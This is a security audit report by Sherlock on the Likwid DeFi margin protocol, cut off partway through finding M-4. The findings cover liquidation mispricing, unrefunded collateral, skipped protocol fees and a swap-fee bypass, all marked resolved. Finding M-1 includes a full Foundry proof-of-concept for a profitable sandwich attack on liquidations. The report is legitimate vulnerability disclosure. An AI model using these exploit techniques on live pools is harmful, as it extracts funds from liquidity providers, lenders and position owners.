SHERLOCK

Security Review For Likwid Protocol

Collaborative Audit Prepared For:	Likwid Protocol
Lead Security Expert(s):	blockace
	hildingr
	ZeroTrust
Date Audited:	December 23 - January 16, 2026

Introduction

Likwid is a decentralized finance (DeFi) protocol designed to provide a fully decentralized and permissionless platform for derivatives trading and leveraged lending.

Scope

Repository: likwid-fi/likwid-margin

Audited Commit: 23d8d997ee916483dd548aebf06fa315dc6011f7

Final Commit: fceda5660ff9c5e8b160e8eadcf3b17c5fa9ad73

Files:

- src/base/BasePositionManager.sol
- src/base/ERC6909Claims.sol
- src/base/ERC6909.sol
- src/base/Extsload.sol
- src/base/Exttload.sol
- src/base/ImmutableState.sol
- src/base/MarginBase.sol
- src/base/NoDelegateCall.sol
- src/base/ProtocolFees.sol
- src/interfaces/external/IERC6909Claims.sol
- src/interfaces/external/IERC6909.sol
- src/interfaces/ILendPositionManager.sol
- src/interfaces/IMarginPositionManager.sol
- src/interfaces/IPairPositionManager.sol
- src/interfaces/IVault.sol
- src/libraries/CurrencyGuard.sol
- src/libraries/CurrencyPoolLibrary.sol
- src/libraries/CurrentStateLibrary.sol
- src/libraries/CustomRevert.sol
- src/libraries/external/DoubleEndedQueue.sol
- src/libraries/FeeLibrary.sol
- src/libraries/FixedPoint96.sol

- src/libraries/InterestMath.sol
- src/libraries/LendPosition.sol
- src/libraries/LiquidityMath.sol
- src/libraries/MarginPosition.sol
- src/libraries/Math.sol
- src/libraries/PairPosition.sol
- src/libraries/PerLibrary.sol
- src/libraries/Pool.sol
- src/libraries/PositionLibrary.sol
- src/libraries/PriceMath.sol
- src/libraries/ProtocolFeeLibrary.sol
- src/libraries/SafeCast.sol
- src/libraries/StageMath.sol
- src/libraries/StateLibrary.sol
- src/libraries/SwapMath.sol
- src/libraries/TimeLibrary.sol
- src/LikwidLendPosition.sol
- src/LikwidMarginPosition.sol
- src/LikwidPairPosition.sol
- src/LikwidVault.sol
- src/types/BalanceDelta.sol
- src/types/BalanceStatus.sol
- src/types/Currency.sol
- src/types/FeeTypes.sol
- src/types/MarginActions.sol
- src/types/MarginBalanceDelta.sol
- src/types/MarginLevels.sol
- src/types/MarginState.sol
- src/types/PoolId.sol
- src/types/PoolKey.sol
- src/types/PoolState.sol

- src/types/Reserves.sol
- src/types/Slot0.sol

Final Commit Hash

fceda5660ff9c5e8b160e8eadcf3b17c5fa9ad73

Findings

Each issue has an assigned severity:

- High issues are directly exploitable security vulnerabilities that need to be fixed.
- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- Low/Info issues are non-exploitable, informational findings that do not pose a security risk or impact the system's integrity. These issues are typically cosmetic or related to compliance requirements, and are not considered a priority for remediation.

Issues Found

High	Medium	Low/Info
0	13	15

Issues Not Fixed and Not Acknowledged

High	Medium	Low/Info
0	0	0

Issue M-1: LiquidateCall pricing uses manipulable `pairReserves` to compute `needPayAmount` [RESOLVED]

Source: https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/issues/56

Summary

`LikwidMarginPosition.liquidateCall()` checks liquidatability using the pool's `truncatedReserves` (a rate-limited price snapshot), but computes the liquidator's required payment `needPayAmount` using the instantaneous `pairReserves`. Because `pairReserves` can be moved by a swap in the same transaction/block while `truncatedReserves` is largely pinned (especially when `timeElapsed == 0`), a liquidator can sandwich the liquidation to reduce the required payment and increase `lostAmount`, socializing the shortfall to the pair and/or lenders.

Vulnerability Detail

- Liquidatability condition:
  - `_checkLiquidate()` computes `level = position.marginLevel(state.truncatedReserves, ...)` and requires it to be below `liquidateLevel`.
  - This uses `truncatedReserves`, which is derived from `pairReserves` but rate-limited via `PriceMath.transferReserves(...)` based on `timeElapsed` and `maxPriceMovePerSecond`.
- Liquidation payment calculation:
  - `liquidateCall()` calculates `needPayAmount` from `poolState.pairReserves`:
    * `repayAmount = mulDivRoundingUp(reserveBorrow, profit, reserveMargin)`
    * `needPayAmount = repayAmount * liquidationRatio / 1e6`
  - The actual repayment that is charged is `realRepayAmount = min(repayAmount, needPayAmount)`.
  - When the calculated `needPayAmount` is reduced (via reserve manipulation), `realRepayAmount` decreases and `lostAmount = debtAmount - realRepayAmount` increases.

Exploit path (single bundle / atomic sandwich):

1. Ensure the position is liquidatable under `truncatedReserves` (can be achieved by moving the price over time so truncated price catches up to an adverse region).
2. In the liquidation transaction, front-run the liquidation by swapping to move `pairReserves` to an even worse spot price for the collateral (reducing `reserveBorrow/reserveMargin`).

3. Call `liquidateCall()`:
    - The liquidation still passes because the check uses `truncatedReserves`.
    - The payment is reduced because it is computed from manipulated `pairReserves`.
4. Back-run by swapping back to partially/fully revert the price, capturing the extracted value (net of fees).

POC

Foundry PoCs:

- Mechanism proof (reduced `needPayAmount`, increased `lostAmount`): `test/LikwidMarginPositionLiquidateCallManipulation.t.sol:114`
- Net-profit proof vs baseline (sandwich strategy): `test/LikwidMarginPositionLiquidateCallManipulation.t.sol:171`

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";

import {LikwidVault} from "../src/LikwidVault.sol";
import {LikwidMarginPosition} from "../src/LikwidMarginPosition.sol";
import {LikwidPairPosition} from "../src/LikwidPairPosition.sol";

import {LikwidHelper} from "./utils/LikwidHelper.sol";
import {IMarginPositionManager} from "../src/interfaces/IMarginPositionManager.sol";
import {IVault} from "../src/interfaces/IVault.sol";
import {IUnlockCallback} from "../src/interfaces/callback/IUnlockCallback.sol";

import {PoolKey} from "../src/types/PoolKey.sol";
import {Currency, CurrencyLibrary} from "../src/types/Currency.sol";
import {PoolIdLibrary} from "../src/types/PoolId.sol";
import {Reserves} from "../src/types/Reserves.sol";

import {BalanceDelta} from "../src/types/BalanceDelta.sol";

import {LikwidChecker} from "./utils/LikwidChecker.sol";

contract LikwidMarginPositionLiquidateCallManipulationTest is Test, IUnlockCallback
↪ {
    using CurrencyLibrary for Currency;
    using PoolIdLibrary for PoolKey;

    bytes32 private constant LIQUIDATE_CALL_EVENT_SIG =
        keccak256("LiquidateCall(bytes32,address,uint256,uint256,uint256,uint256,ui
        ↪  nt256,uint256,uint256,uint256,uint256,uint256)");

    LikwidVault vault;
    LikwidMarginPosition marginPositionManager;
    LikwidPairPosition pairPositionManager;
    LikwidHelper helper;
    PoolKey key;

    MockERC20 token0;
    MockERC20 token1;
    address private constant SINK = address(0xdead);

    function setUp() public {
        vault = new LikwidVault(address(this));
        marginPositionManager = new LikwidMarginPosition(address(this), vault);
        pairPositionManager = new LikwidPairPosition(address(this), vault);
        helper = new LikwidHelper(address(this), vault);

        address tokenA = address(new MockERC20("TokenA", "TKNA", 18));
        address tokenB = address(new MockERC20("TokenB", "TKNB", 18));

        if (tokenA < tokenB) {
            token0 = MockERC20(tokenA);
            token1 = MockERC20(tokenB);
        } else {
            token0 = MockERC20(tokenB);
            token1 = MockERC20(tokenA);
        }

        vault.setMarginController(address(marginPositionManager));

        token0.approve(address(vault), type(uint256).max);
        token1.approve(address(vault), type(uint256).max);
        token0.approve(address(marginPositionManager), type(uint256).max);
        token1.approve(address(marginPositionManager), type(uint256).max);
        token0.approve(address(pairPositionManager), type(uint256).max);
        token1.approve(address(pairPositionManager), type(uint256).max);

        key = PoolKey({
            currency0: Currency.wrap(address(token0)),
            currency1: Currency.wrap(address(token1)),
            fee: 3000,
            marginFee: 3000
        });
        vault.initialize(key);

        token0.mint(address(this), 10e18);
        token1.mint(address(this), 20e18);
        pairPositionManager.addLiquidity(key, address(this), 10e18, 20e18, 0, 0,
         ↪  10000);
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (bytes4 selector, bytes memory params) = abi.decode(data, (bytes4, bytes));

        if (selector == this.swap_callback.selector) {
            (PoolKey memory _key, IVault.SwapParams memory swapParams) =
             ↪  abi.decode(params, (PoolKey, IVault.SwapParams));

            (BalanceDelta delta,,) = vault.swap(_key, swapParams);

            if (delta.amount0() < 0) {
                vault.sync(_key.currency0);
                token0.transfer(address(vault), uint256(-int256(delta.amount0())));
                vault.settle();
            } else if (delta.amount0() > 0) {
                vault.take(_key.currency0, address(this),
                 ↪  uint256(int256(delta.amount0())));
            }

            if (delta.amount1() < 0) {
                vault.sync(_key.currency1);
                token1.transfer(address(vault), uint256(-int256(delta.amount1())));
                vault.settle();
            } else if (delta.amount1() > 0) {
                vault.take(_key.currency1, address(this),
                 ↪  uint256(int256(delta.amount1())));
            }
        }
        return "";
    }

    fallback() external payable {}
    receive() external payable {}

    function swap_callback(PoolKey memory, IVault.SwapParams memory) external pure
     ↪  {}

    function
     ↪  testLiquidateCall_PairReservesManipulationInSameBlockReducesNeedPayAmount()
     ↪  public {
        uint256 marginAmount = 0.1e18;
        token0.mint(address(this), marginAmount);

        IMarginPositionManager.CreateParams memory params =
         ↪  IMarginPositionManager.CreateParams({
            marginForOne: false, // margin with token0, borrow token1
            leverage: 4,
            marginAmount: uint128(marginAmount),
            borrowAmount: 0,
            borrowAmountMax: 0,
            recipient: address(this),
            deadline: block.timestamp
        });

        (uint256 tokenId,,) = marginPositionManager.addMargin(key, params);

        // Step 1: move price enough to make the position liquidatable under
         ↪   truncatedReserves.
        skip(1000);
        _swapExactInMintingInput(key, true, 5e18);

        // Step 2: advance time so the pool updates its truncatedReserves
         ↪   checkpoint (slot0.lastUpdated),
        // then do a tiny swap so subsequent operations are in the same timestamp
         ↪   (timeElapsed == 0).
        skip(1000);
        _swapExactInMintingInput(key, true, 1e6);

        assertTrue(helper.checkMarginPositionLiquidate(tokenId), "Position should
         ↪   be liquidatable before liquidation");

        uint256 stateId = vm.snapshotState();

        token1.mint(address(this), 1_000e18);
        LiquidateCallEventData memory baseline = _liquidateCallAndParse(tokenId);

        vm.revertToState(stateId);

        _swapExactInMintingInput(key, true, 100e18);

        assertTrue(helper.checkMarginPositionLiquidate(tokenId), "Position should
         ↪   remain liquidatable after manipulation");

        token1.mint(address(this), 1_000e18);
        LiquidateCallEventData memory attacked = _liquidateCallAndParse(tokenId);

        assertLt(attacked.needPayAmount, baseline.needPayAmount, "needPayAmount
         ↪   should be reduced by reserve manipulation");
        assertGt(attacked.lostAmount, baseline.lostAmount, "lostAmount should
         ↪   increase when needPayAmount is reduced");

        (uint128 baselinePair0, uint128 baselinePair1) =
         ↪   baseline.pairReserves.reserves();
        (uint128 attackedPair0, uint128 attackedPair1) =
         ↪   attacked.pairReserves.reserves();
        (uint128 attackedTruncated0, uint128 attackedTruncated1) =
         ↪   attacked.truncatedReserves.reserves();
```

```
        assertGt(attackedPair0, baselinePair0, "manipulation should increase pair
        ↪  reserve0 (token0 in)");
        assertLt(attackedPair1, baselinePair1, "manipulation should decrease pair
        ↪  reserve1 (token1 out)");

        assertEq(attackedTruncated1, attackedPair1, "truncatedReserve1 tracks
        ↪  pairReserve1 at timeElapsed=0");
        assertLt(attackedTruncated0, attackedPair0, "truncatedReserve0 should lag
        ↪  manipulated pairReserve0");

        LikwidChecker.checkPoolReserves(vault, key);
    }

    function testLiquidateCall_SandwichNetProfitPositiveVsBaseline() public {
        uint256 marginAmount = 0.1e18;
        token0.mint(address(this), marginAmount);

        IMarginPositionManager.CreateParams memory params =
        ↪  IMarginPositionManager.CreateParams({
            marginForOne: false, // margin with token0, borrow token1
            leverage: 4,
            marginAmount: uint128(marginAmount),
            borrowAmount: 0,
            borrowAmountMax: 0,
            recipient: address(this),
            deadline: block.timestamp
        });

        (uint256 tokenId,,) = marginPositionManager.addMargin(key, params);

        // Make position liquidatable under truncatedReserves.
        skip(1000);
        _swapExactInMintingInput(key, true, 5e18);

        // Create a truncatedReserves checkpoint at the current timestamp, then
        ↪  keep timeElapsed==0 afterwards.
        skip(1000);
        _swapExactInMintingInput(key, true, 1e6);

        assertTrue(helper.checkMarginPositionLiquidate(tokenId), "Position should
        ↪  be liquidatable before scenarios");

        // Ensure scenario starts with clean balances (no leftover from setup
        ↪  swaps).
        _drainTokenBalances();

        // Treat these as "flash-loan principals" for the scenario: must be fully
        ↪  repaid (sent to SINK).
        uint256 token0Principal = 50e18;
        uint256 token1Principal = 1_000e18;
        token0.mint(address(this), token0Principal);
        token1.mint(address(this), token1Principal);

        uint256 stateId = vm.snapshotState();

        uint256 baselineProfit0 = _runBaselineAndMeasureProfit0(tokenId,
        ↪  token0Principal, token1Principal);

        bool found;
        uint256[] memory frontAmounts = new uint256[](6);
        frontAmounts[0] = 0.5e18;
        frontAmounts[1] = 1e18;
        frontAmounts[2] = 2e18;
        frontAmounts[3] = 3e18;
        frontAmounts[4] = 5e18;
        frontAmounts[5] = 10e18;

        for (uint256 i = 0; i < frontAmounts.length; i++) {
            vm.revertToState(stateId);

            uint256 front0In = frontAmounts[i];
            if (front0In > token0Principal) continue;

            uint256 attackedProfit0 = _runSandwichAndMeasureProfit0(tokenId,
            ↪  token0Principal, token1Principal, front0In);
            if (attackedProfit0 > baselineProfit0) {
                found = true;
                break;
            }
        }

        assertTrue(found, "expected a profitable sandwich vs baseline for some
        ↪  front-run size");
    }

    struct LiquidateCallEventData {
        uint256 debtAmount;
        uint256 needPayAmount;
        uint256 lostAmount;
        Reserves truncatedReserves;
        Reserves pairReserves;
    }

    function _swapExactInMintingInput(PoolKey memory _key, bool zeroForOne, uint256
    ↪  amountIn) internal {
        if (zeroForOne) token0.mint(address(this), amountIn);
        else token1.mint(address(this), amountIn);
        _swapExactIn(_key, zeroForOne, amountIn);
    }
```

```
function _swapExactIn(PoolKey memory _key, bool zeroForOne, uint256 amountIn)
↪  internal {
    IVault.SwapParams memory swapParams = IVault.SwapParams({
        zeroForOne: zeroForOne,
        amountSpecified: -int256(amountIn),
        useMirror: false,
        salt: bytes32(0)
    });
    bytes memory innerParamsSwap = abi.encode(_key, swapParams);
    bytes memory dataSwap = abi.encode(this.swap_callback.selector,
    ↪  innerParamsSwap);
    vault.unlock(dataSwap);
}

function _swapExactOut(PoolKey memory _key, bool zeroForOne, uint256 amountOut)
↪  internal {
    IVault.SwapParams memory swapParams = IVault.SwapParams({
        zeroForOne: zeroForOne,
        amountSpecified: int256(amountOut),
        useMirror: false,
        salt: bytes32(0)
    });
    bytes memory innerParamsSwap = abi.encode(_key, swapParams);
    bytes memory dataSwap = abi.encode(this.swap_callback.selector,
    ↪  innerParamsSwap);
    vault.unlock(dataSwap);
}

function _liquidateCallAndParse(uint256 tokenId) internal returns
↪  (LiquidateCallEventData memory parsed) {
    vm.recordLogs();
    marginPositionManager.liquidateCall(tokenId, 0);

    Vm.Log[] memory logs = vm.getRecordedLogs();
    for (uint256 i = 0; i < logs.length; i++) {
        if (logs[i].emitter != address(marginPositionManager)) continue;
        if (logs[i].topics.length == 0) continue;
        if (logs[i].topics[0] != LIQUIDATE_CALL_EVENT_SIG) continue;

        uint256 truncatedReservesRaw;
        uint256 pairReservesRaw;
        (,,, parsed.debtAmount, truncatedReservesRaw, pairReservesRaw,,,
        ↪  parsed.needPayAmount, parsed.lostAmount) =
            abi.decode(
            logs[i].data,
            (uint256, uint256, uint256, uint256, uint256, uint256, uint256,
            ↪  uint256, uint256, uint256)
        );
        parsed.truncatedReserves = Reserves.wrap(truncatedReservesRaw);
        parsed.pairReserves = Reserves.wrap(pairReservesRaw);
        return parsed;
    }

    revert("LiquidateCall event not found");
}

function _drainTokenBalances() internal {
    uint256 b0 = token0.balanceOf(address(this));
    if (b0 > 0) token0.transfer(SINK, b0);
    uint256 b1 = token1.balanceOf(address(this));
    if (b1 > 0) token1.transfer(SINK, b1);
}

function _runBaselineAndMeasureProfit0(uint256 tokenId, uint256
↪   token0Principal, uint256 token1Principal)
    internal
    returns (uint256 profit0)
{
    // Baseline: no reserve manipulation; just liquidate, then unwind/repay
    ↪   principals.
    marginPositionManager.liquidateCall(tokenId, 0);

    _repayToken1Principal(token1Principal);

    // No "back-run" expected in baseline; convert any accidental leftovers.
    uint256 remaining1 = token1.balanceOf(address(this));
    if (remaining1 > 0) _swapExactIn(key, false, remaining1);

    require(token0.balanceOf(address(this)) >= token0Principal, "baseline:
    ↪   cannot repay token0 principal");
    token0.transfer(SINK, token0Principal);

    profit0 = token0.balanceOf(address(this));
}

function _runSandwichAndMeasureProfit0(
    uint256 tokenId,
    uint256 token0Principal,
    uint256 token1Principal,
    uint256 front0In
) internal returns (uint256 profit0) {
    // Front-run: sell token0 for token1 to push spot down and reduce
    ↪   needPayAmount.
    _swapExactIn(key, true, front0In);

    // Victim: liquidation priced off manipulated pairReserves.
    marginPositionManager.liquidateCall(tokenId, 0);
```

```
        // Repay token1 principal; if short, buy exact token1 out using token0.
        _repayToken1Principal(token1Principal);

        // Back-run: convert any remaining token1 back to token0.
        uint256 remaining1 = token1.balanceOf(address(this));
        if (remaining1 > 0) _swapExactIn(key, false, remaining1);

        if (token0.balanceOf(address(this)) < token0Principal) {
            return 0;
        }
        token0.transfer(SINK, token0Principal);

        profit0 = token0.balanceOf(address(this));
    }

    function _repayToken1Principal(uint256 token1Principal) internal {
        uint256 b1 = token1.balanceOf(address(this));
        if (b1 < token1Principal) {
            uint256 needOut = token1Principal - b1;
            // token0 -> token1 exact output
            _swapExactOut(key, true, needOut);
        }
        token1.transfer(SINK, token1Principal);
    }
}
```

Impact

- The liquidator can underpay relative to the "fair" truncated price used for liquidation eligibility, increasing `lostAmount`.
- `lostAmount` is processed via `_processLost(...)` and is allocated across pair reserves and lending reserves, meaning the deficit is socialized to LPs and/or lenders rather than borne by the liquidator.
- MEV risk: an attacker can bundle swaps + liquidation to reliably extract value when conditions allow, turning liquidations into a profitable sandwich opportunity.

Severity rationale: this enables value extraction and forced bad debt allocation from solvent/less-insolvent positions, conditioned on the ability to manipulate spot reserves within the liquidation transaction (which is generally feasible in AMM designs).

Code Snippet

- Liquidatability uses `truncatedReserves`:
  - `https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/tree/`

    main/likwid-margin/src/LikwidMarginPosition.sol#L92 (`_checkLiquidate`)

- `liquidateCall` computes payment using `pairReserves` and then caps actual repayment:
    - https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/tree/main/likwid-margin/src/LikwidMarginPosition.sol#L570 (`repayAmount = mulDivRoundingUp(reserveBorrow, profit, reserveMargin)`)
- `truncatedReserves` is rate-limited (pins price when `timeElapsed == 0`):
    - https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/tree/main/likwid-margin/src/libraries/Pool.sol#L394 (`if (timeElapsed == 0) return ...`)

Tool Used

Manual Review Foundry (PoC): `forge test --match-path test/LikwidMarginPositionLiquidateCallManipulation.t.sol`

Recommendation

- Use a single, manipulation-resistant price source consistently for:
    - liquidation eligibility checks, and
    - liquidation payment computation. Concretely, compute `needPayAmount` from `truncatedReserves` (or from a TWAP/oracle), not from `pairReserves`.
- If the protocol intentionally wants to be conservative, consider using the "worse for the liquidator" of `(pairReserves, truncatedReserves)` when pricing `needPayAmount` so same-tx spot manipulation cannot reduce payment.

Discussion

finezoo

Fix commit hash: fixed

likwid-tech

While we acknowledge the technical validity, we believe the overall risk profile aligns more closely with a Medium severity. We have already implemented the fix according to your recommendation.

We would appreciate your consideration in adjusting the severity level to Medium when preparing the final audit report.

lpetroulakis

After discussion between us and the team, this is fine to be downgraded to Medium.

Issue M-2: `liquidateBurn` does not refund `closeAmount` (excess collateral) to `ownerOf(tokenId)` [RESOLVED]

Source: https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/issues/57

Summary

In `LikwidMarginPosition.liquidateBurn()`, the return value `closeAmount` from `MarginPosition.close()` is discarded. If a position is liquidatable under the protocol's liquidation check, but still has sufficient collateral to fully repay debt (and liquidation fees) at current `pairReserves`, `MarginPosition.close()` can produce a non-zero `closeAmount` (i.e., released collateral minus the collateral cost to repay the debt). The current `liquidateBurn` implementation does not transfer this excess collateral back to `ownerOf(tokenId)`; instead, it is effectively absorbed into pool accounting via `pairDelta`/`lendDelta` updates.

This can cause unnecessary user loss during liquidation and may allow actors who can trigger liquidation (or who are economically exposed to pool reserves as LPs/lenders) to capture value that should have been returned to the position owner, depending on intended protocol semantics.

Vulnerability Detail

- `MarginPosition.close()` computes an excess-collateral return value `closeAmount` when the released collateral exceeds the collateral required to repay the debt:
  - `closeAmount = releaseAmount - costAmount` when `releaseAmount > costAmount`. See `src/libraries/MarginPosition.sol:158` (notably `src/libraries/MarginPosition.sol:201-208`).
- User-initiated closes correctly pay out `closeAmount` to the caller by including it in `marginDelta` and setting `pairDelta` to consume only `releaseAmount - closeAmount` collateral:
  - See `src/LikwidMarginPosition.sol:409` (notably `src/LikwidMarginPosition.sol:425-446`).
- `liquidateBurn()` discards `closeAmount` by destructuring `position.close(...)` as `(releaseAmount, repayAmount,, lostAmount, swapFeeAmount)` and never credits/transfers any excess collateral:
  - See `src/LikwidMarginPosition.sol:475` (notably `src/LikwidMarginPosition.sol:495-520`).
- Additionally, `liquidateBurn()` uses `pairDelta` as if `closeAmount == 0` (consuming the full `releaseAmount` as collateral) rather than consuming only `releaseAmount - closeAmount` and paying `closeAmount` out:

    - For `marginForOne == true`, `delta.pairDelta` uses `-releaseAmount` instead of `-(releaseAmount - closeAmount)` (compare `src/LikwidMarginPosition.sol:510-514` with `src/LikwidMarginPosition.sol:437-440`).
- The liquidation callback (`_handleLiquidateBurn`) only transfers `callerProfitAmount` and `protocolProfitAmount`, which matches the chosen `params.marginDelta = rewardAmount`, but leaves no mechanism to transfer any additional amount to the position owner:
    - See `src/LikwidMarginPosition.sol:689` (notably `src/LikwidMarginPosition.sol:698-712`).

Attack/abuse scenario (economic loss):

1. A position becomes liquidatable under the protocol's liquidation check (e.g., due to rate-limited/truncated pricing), while at current `pairReserves` the position's collateral is still sufficient to cover its debt plus `rewardAmount`.
2. A third party calls `liquidateBurn(tokenId, ...)`.
3. `MarginPosition.close()` computes `closeAmount > 0`, but `liquidateBurn()` ignores it, and pool deltas are applied as if the entire `releaseAmount` is consumed.
4. The position owner receives no refund for the excess collateral; value remains in pool reserves (benefiting LPs/lenders/protocol depending on design).

Impact

- Position owners can lose excess collateral during `liquidateBurn` liquidations even when the position is not economically "underwater" at current `pairReserves`.
- The protocol's intended liquidation economics (penalty bounded to `callerProfit + protocolProfit`, with remainder returned to owner) may be violated, leading to user-funds misallocation and trust issues.
- If liquidators can influence which liquidation path is used (or if liquidators are also LPs/lenders), this can create an incentive to liquidate positions to capture/redirect value that should have been refunded to the owner.

Code Snippet

https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/tree/main/likwid-margin/src/LikwidMarginPosition.sol#L495

Tool Used

Manual Review

Recommendation

- Decide and document intended semantics for `liquidateBurn` regarding surplus collateral:
  - If surplus should be returned to the position owner, then:
    * Capture `closeAmount` in `liquidateBurn`.
    * Update deltas analogously to `close()` so that only `releaseAmount - closeAmount` is consumed by the pool and `closeAmount` is credited in `params.marginDelta`.
    * Transfer `closeAmount` to `ownerOf(tokenId)` inside the unlock callback (e.g., include the owner address in callback params, or use `ERC721._requireOwned(tokenId)` to fetch it before `unlock` and pass it through).
  - If surplus is intended to be confiscated, explicitly reflect this in naming/docs and emit it in events for transparency (e.g., include `closeAmount`/surplus in `LiquidateBurn` event).

Discussion

finezoo

This problem is eliminated by the insurance fund mechanism. Fix commit hash: fixed

Issue M-3: `liquidateCall` does not charge `protocol Profit`, and liquidation does not return any surplus collateral to the position owner [RESOLVED]

Source: https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/issues/58

Summary

Compared to `liquidateBurn`, `LikwidMarginPosition.liquidateCall()` does not calculate or distribute `callerProfit` / `protocolProfit`, meaning liquidations executed through the call-path do not pay the protocol profit that exists in the burn-path. Additionally, `liquidateCall` releases the entire position collateral (`marginAmount + marginTotal`) but does not return any potential surplus to the position owner, even in cases where the released collateral value could exceed the amount needed to cover the debt (e.g., due to pricing inconsistencies or liquidation being triggered at an unfavorable oracle checkpoint).

Vulnerability Detail

1) No `protocolProfit` accounting in `liquidateCall`

- `liquidateBurn` explicitly computes and distributes:
  - `profit = assetsAmount * callerProfit`
  - `protocolProfitAmount = assetsAmount * protocolProfit` and transfers them in `_handleLiquidateBurn`.
- `liquidateCall` does not compute these values, does not transfer them to the protocol, and the `LiquidateCall` event does not include protocol profit fields.

This creates a path-dependent fee behavior: liquidations routed through `liquidateCall` avoid protocol profit that is otherwise charged in `liquidateBurn`, which can skew incentives and expected revenue.

2) No surplus refund to the position owner

In `liquidateCall`:

- `profit` is set to the full collateral balance: `profit = marginAmount + marginTotal`.
- `position.update(..., repayAmount=debtAmount)` is called, which (for this input) releases the full `positionValue` and sets `repayAmount` to the full debt amount; the function then enforces `profit == releaseAmount`.
- The callback applies deltas that transfer `releaseAmount` (the entire collateral) to the liquidator, while the liquidator's borrow-token payment is capped by `realRepayAmou`

`nt = min(debtAmount, needPayAmount).`

As a result, the position owner is not refunded any remaining collateral, and the entire collateral is allocated to liquidation settlement flows / liquidator, even if the realized debt repayment is less than the value of the released collateral at some pricing basis.

Impact

- **Protocol revenue leakage / inconsistent economics**: if liquidators can choose between `liquidateBurn` and `liquidateCall`, they can prefer the path that does not pay protocol profit, reducing protocol fee capture compared to expectations.
- **Unfair value transfer from user to liquidator**: `liquidateCall` always confiscates the entire collateral and does not return any residual to the position owner. If liquidation can be triggered when the position still has positive equity under some economic view, the liquidator can capture that residual.
- **Incentive misalignment**: when `liquidateCall` is systematically more profitable (no protocol profit + potential residual capture), liquidators will prefer it, potentially making `liquidateBurn` unused and undermining intended fee mechanics.

Code Snippet

- `liquidateCall` releases all collateral and does not compute protocol profit:
  - `https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/tree/main/likwid-margin/src/LikwidMarginPosition.sol#L547` (`liquidateCall`)
  - `https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/tree/main/likwid-margin/src/LikwidMarginPosition.sol#L581` (`realRepayAmount = min(repayAmount, needPayAmount)`)
- `liquidateBurn` computes and pays `callerProfit` + `protocolProfit`:
  - `https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/tree/main/likwid-margin/src/LikwidMarginPosition.sol#L488-L491` (profit calculations)

Tool Used

Manual Review

Recommendation

- Decide and document the intended economics between `liquidateBurn` and `liquidateCall`. If both are intended liquidation mechanisms, make fee behavior consistent:

  - Add `callerProfit` / `protocolProfit` accounting to `liquidateCall` (or remove it from `liquidateBurn` if not intended).
- If the intended liquidation design should not confiscate residual equity:
  - Compute the required debt repayment using a manipulation-resistant price, repay debt up to the required amount, and **return any surplus collateral** to the position owner (or to a designated recipient).

Discussion

finezoo

This problem is eliminated by the insurance fund mechanism. Fix commit hash: fixed

Issue M-4: `MarginPosition.close()` bypasses dynamic swap fee, enabling low-cost pool price manipulation [RESOLVED]

Source: https://github.com/sherlock-audit/2025-12-likwid-protocol-dec-22nd/issues/59

Summary

`MarginPosition.close()` uses the fixed-fee `SwapMath.getAmountOut/getAmountIn` overloads (only `pairReserves` + `lpFee`) instead of the dynamic-fee overloads that incorporate `truncatedReserves` and price-impact-based fee scaling. As a result, closing a leveraged position can be used as an alternative "swap path" that moves the pool's spot price while paying only the base LP fee (i.e., avoiding the intended dynamic fee penalty for large price impact).

Vulnerability Detail

The protocol implements a dynamic swap fee mechanism in `SwapMath`:

- `SwapMath.getAmountOut(pairReserves, truncatedReserves, lpFee, ...)` and `SwapMath.getAmountIn(pairReserves, truncatedReserves, lpFee, ...)` compute a `degree` of price change using `truncatedReserves` as a checkpoint and apply `dynamicFee(lpFee, degree)` to increase fees as price impact grows (`src/libraries/SwapMath.sol:137`).
- The canonical swap path (`Pool.swap`) uses these dynamic-fee overloads (`src/libraries/Pool.sol:205`).

Affected call sites in `LikwidMarginPosition`

The fixed-fee `MarginPosition.close(...)` logic is exercised by the following functions in `src/LikwidMarginPosition.sol`:

- `close(uint256 tokenId, uint24 closeMillionth, uint256 closeAmountMin, uint256 deadline)` (`src/LikwidMarginPosition.sol:409`) calls `position.close(...)` (`src/LikwidMarginPosition.sol:425`).
- `liquidateBurn(uint256 tokenId, uint256 deadline)` (`src/LikwidMarginPosition.sol:476`) calls `position.close(...)` (`src/LikwidMarginPosition.sol:495`).

However, `MarginPosition.close()` calculates the close swap amounts and `swapFeeAmount` using the fixed-fee overloads:

- `SwapMath.getAmountOut(pairReserves, lpFee, ..., releaseAmount)` (`src/libraries/MarginPosition.sol:196`)

- `SwapMath.getAmountIn(pairReserves, lpFee, ..., repayAmount)` (`src/libraries/MarginPosition.sol:201`)

`LikwidMarginPosition.close()` then applies the resulting deltas directly via `vault.unlock(...) -> vault.marginBalance(...)`, updating pool reserves without re-pricing through `Pool.swap` (`src/LikwidMarginPosition.sol:425`). This effectively makes “closing a position” a fee-discounted swap mechanism compared to the intended dynamic-fee swap path.

Why this enables manipulation

An attacker can intentionally create/maintain debt (so `self.debtAmount > 0`) and choose `closeMillionth` to size the implicit swap performed during close. Because the close pricing uses only the base `lpFee` and does not incorporate the dynamic fee increase for high price impact, the attacker can move `pairReserves` (and thus spot price) with less cost than `Pool.swap` would require for an equivalently large swap.

Impact

- **Fee bypass / value leakage**: for high-impact closes, the protocol collects less swap fee than intended. The missing portion is effectively value transferred from LPs (and protocol fee recipients) to the closer.
- **Low-cost price manipulation**: an attacker can shift the pool’s spot price via repeated/large closes at a discounted fee rate. This can be used to:
  - Arbitrage against external venues after forcing an unfavorable internal price move at low cost.
  - Manipulate other users’ margin level checks or liquidation boundaries that depend on pool reserves (depending on where `pairReserves/truncatedReserves` are referenced).
  - Create cheaper within-protocol MEV/sandwich opportunities around victim actions that depend on pool price.

Code Snippet

